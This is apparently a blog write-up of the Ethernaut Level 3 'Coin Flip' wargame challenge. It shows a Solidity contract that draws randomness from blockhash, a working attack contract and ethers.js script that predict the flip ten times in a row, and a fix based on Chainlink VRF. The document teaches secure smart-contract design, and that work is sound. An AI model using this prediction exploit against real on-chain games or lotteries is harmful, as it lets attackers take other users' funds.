March 18, 2024

Coin Flip Challenge - Ethernaut Level 3

8 min readDifficulty: Medium

Challenge Description

RandomnessSolidityBlockchainLevel 3

Challenge Goal

Guess the correct outcome of the coin flip 10 times in a row. The challenge demonstrates why generating secure randomness on a blockchain is difficult and why you should never rely on block hashes as a source of randomness in real applications.

The Contract

Here's the smart contract we'll be exploiting:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

The Vulnerability

This contract attempts to implement a coin flip game where the user must correctly guess the outcome 10 times in a row. The outcome is determined by:

  1. Taking the hash of the previous block (blockhash(block.number - 1))
  2. Dividing it by a large factor to get either 0 or 1
  3. Converting that to a boolean (true or false)

The vulnerability lies in the predictability of the randomness source. In Ethereum, all information on the blockchain is public and deterministic, including block hashes. Therefore, we can predict what blockhash(block.number - 1) will be in our attack contract and make the correct guess every time.

The Exploit

To exploit this contract, we need to:

Steps to Exploit:

  1. Create an attack contract that uses the same algorithm to predict the coin flip result
  2. Call our attack contract, which will calculate the expected result and then call the original contract with the correct guess
  3. Repeat this process 10 times (in separate transactions) to achieve 10 consecutive wins

Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {
  ICoinFlip private victimContract;
  uint256 private constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  constructor(address _victimAddress) {
    victimContract = ICoinFlip(_victimAddress);
  }
  
  // Call this function to execute the attack for one round
  function attack() public returns (bool) {
    // Calculate the same value as the victim contract will
    uint256 blockValue = uint256(blockhash(block.number - 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    
    // Call the victim contract with our prediction
    return victimContract.flip(side);
  }
}

Exploit Script

// Using ethers.js to deploy and call our attack contract

// Get instance of the CoinFlip contract
const coinFlipAddress = "INSTANCE_ADDRESS";

// Deploy our attack contract
const CoinFlipAttack = await ethers.getContractFactory("CoinFlipAttack");
const attackContract = await CoinFlipAttack.deploy(coinFlipAddress);
await attackContract.deployed();
console.log("Attack contract deployed at:", attackContract.address);

// We need to call the attack function 10 times
// Each call needs to be in a separate block for this to work
for (let i = 0; i < 10; i++) {
  console.log(`Attempting attack ${i+1}/10...`);
  
  // Execute the attack
  const tx = await attackContract.attack();
  
  // Wait for the transaction to be mined
  await tx.wait();
  console.log(`Attack ${i+1} complete`);
  
  // In a real environment, you might need to wait for a new block
  // This could be done by adding a delay or other transactions
}

// Verify consecutive wins
const coinFlip = await ethers.getContractAt("CoinFlip", coinFlipAddress);
const wins = await coinFlip.consecutiveWins();
console.log(`Consecutive wins: ${wins}`);

Security Lessons

  • Blockchain Randomness: Blockchain environments are deterministic by design. All data, including block hashes, is publicly available. This makes generating secure randomness on-chain extremely difficult.
  • Predictable Sources: Never use blockhash, block.timestamp, or other on-chain values as a source of randomness in production applications, as they can be predicted or manipulated by miners.
  • Commit-Reveal: For applications that require some degree of unpredictability, consider using commit-reveal schemes, which allow participants to commit to a value without revealing it until a later time.
  • Oracles: For serious applications requiring randomness, use a trusted oracle service like Chainlink VRF, which can provide verifiable randomness.

Prevention

Here's how you could improve this contract for true randomness:

// Using Chainlink VRF (Verifiable Random Function) for secure randomness
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";

contract SecureCoinFlip is VRFConsumerBase {
    bytes32 internal keyHash;
    uint256 internal fee;
    uint256 public randomResult;
    mapping(bytes32 => bool) public requestToGuess;
    uint256 public consecutiveWins;
    
    constructor(address _vrfCoordinator, address _linkToken, bytes32 _keyHash, uint256 _fee) 
        VRFConsumerBase(_vrfCoordinator, _linkToken) {
        keyHash = _keyHash;
        fee = _fee;
        consecutiveWins = 0;
    }
    
    function flip(bool _guess) public returns (bytes32 requestId) {
        require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
        requestId = requestRandomness(keyHash, fee);
        requestToGuess[requestId] = _guess;
        return requestId;
    }
    
    function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
        randomResult = randomness;
        bool result = randomness % 2 == 0;
        bool userGuess = requestToGuess[requestId];
        
        if (result == userGuess) {
            consecutiveWins++;
        } else {
            consecutiveWins = 0;
        }
    }
}

The improved contract:

  • Uses Chainlink's VRF (Verifiable Random Function) to generate provably fair random numbers
  • Splits the process into two steps: requesting randomness and receiving it via callback
  • Ensures that no one, not even the contract creator, can predict or manipulate the outcome

Conclusion

The Coin Flip challenge illustrates a fundamental concept in blockchain development: true randomness is difficult to achieve within the deterministic environment of a blockchain. By understanding this limitation, you can avoid creating vulnerable contracts that rely on predictable sources of randomness.

When developing applications that require randomness, always consider using dedicated solutions like Chainlink VRF or other techniques such as commit-reveal schemes that are designed to address these specific challenges.

Your Notes